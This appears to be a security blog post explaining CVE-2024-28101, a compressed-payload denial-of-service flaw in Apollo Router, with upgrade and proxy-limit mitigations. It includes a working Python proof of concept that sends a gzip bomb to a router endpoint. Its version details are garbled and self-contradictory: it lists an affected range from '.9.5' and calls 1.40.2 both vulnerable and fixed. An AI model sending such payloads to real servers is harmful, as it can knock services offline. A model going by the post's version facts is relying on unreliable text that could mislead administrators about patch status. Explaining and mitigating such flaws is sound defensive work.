CVE-2024-28101 - How Highly Compressed HTTP Payloads Could Crash Your Apollo Router—and How to Fix It

If you use Apollo Router, you should pay close attention to CVE-2024-28101. This newly disclosed Denial-of-Service (DoS) vulnerability could let attackers eat up tons of memory on your servers, simply by sending a single, specially crafted HTTP request. Unless you're running Apollo Router version 1.40.2 or newer, you might be exposed.

In this post, I’ll explain what this vulnerability is about, why it’s so dangerous, and how you can defend your services. I’ll keep jargon to a minimum, include some clear code and config examples, and share official references and resources at the end.

What is Apollo Router?

Apollo Router is an open source supergraph router made by Apollo GraphQL and written in Rust. It helps developers build and run federated GraphQL services with improved performance and security.

The Router acts as the "entry point" for your federated GraphQL services, proxying client requests to your backend services and applying policies, limits, and security controls as configured.

What is CVE-2024-28101?

> CVE-2024-28101 is a vulnerability in Apollo Router version .9.5 all the way through 1.40.2.

It is caused by Apollo Router's HTTP request size limit only applying _after_ decompressing incoming HTTP requests. Here's why that's a problem:

- Attackers can send highly compressed payloads (think tiny gzip files that decompress into huge blobs).

Your Router waits until decompression is done, _then_ applies the size limit.

- By then, the Router could consume massive memory, potentially exhausting system resources and crashing the service (DoS).

💡 In other words: If one malicious user uploads a compressed payload that inflates to gigabytes or more, your server could grind to a halt!

They create a payload filled with repeating data (which compresses very well).

- Compress it using gzip, making the actual HTTP upload fairly small (bypassing size checks at the proxy, unless you limit raw body size too).

Below is a simple attack example in Python

import requests
import gzip

# Generate 100MB of 'A' which compresses very well
data = b'A' * (100*1024*1024)
compressed = gzip.compress(data)

# Print sizes
print(f"Original size: {len(data)/1024/1024} MB")
print(f"Compressed size: {len(compressed)/1024} KB")

# Send request
response = requests.post(
    "https://your-apollo-router-endpoint/graphql";,
    data=compressed,
    headers={
        "Content-Encoding": "gzip",
        "Content-Type": "application/json"
    }
)
print(response.status_code)

With the default (and vulnerable) setup, this POST could use hundreds of megabytes (or more) of memory—even if the compressed HTTP body is only a few kilobytes.

Why Is This Different From Other DoS Bugs?

Many HTTP servers and proxies apply size limits to _raw_ incoming data, not what it decompresses to. Apollo Router's check was backwards: it unpacked the payload first, then checked size.

Attackers exploit this “ZIP bomb” style by making inputs that are small in transit but huge in memory. This is a classic trick but surprisingly easy to overlook.

up to and including 1.40.2

All are vulnerable. The issue is fixed in 1.40.2.

Not sure which you have?

Check your version by running

apollo-router --version

1. Upgrade

The best fix is to upgrade Apollo Router to at least version 1.40.2.

cargo install --locked apollo-router@1.40.2

or download the release from the official repo.

2. Mitigate with Proxy Limits

If you can’t upgrade right away, block this kind of attack at the "edge," before it hits Apollo Router.

Add the following to your Nginx config

http {
    client_max_body_size 1M; # raw upload limit
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    # ...
    server {
        # ...
        location / {
            limit_req zone=one burst=5;
            # your proxy_pass ...
        }
    }
}

Use the tune.bufsize and option http-buffer-request

global
    tune.bufsize 1048576  # 1MB

frontend main
    bind *:80
    option http-buffer-request
    # ...

#### Cloud-native WAF/Load Balancer

Set HTTP upload size limits and when possible, decompress before applying limits.

Official References

- Apollo Security Advisory: GHSA-wf8m-q5q2-wm53
- GitHub Issue Tracking the Bug
- 1.40.2 Release Notes
- NIST CVE Record

Conclusion

CVE-2024-28101 is a big risk if you expose Apollo Router to the internet or even untrusted internal users. Attackers could knock out your systems just by sending very compressed HTTP requests.

Use monitoring for sudden spikes in memory or slow API responses.

Stay safe and keep your supergraphs running smooth!


*Found this helpful or have questions? Share this post and feel free to contact Apollo’s security team for support.*

Timeline

Published on: 03/21/2024 02:52:23 UTC
Last modified on: 03/21/2024 12:58:51 UTC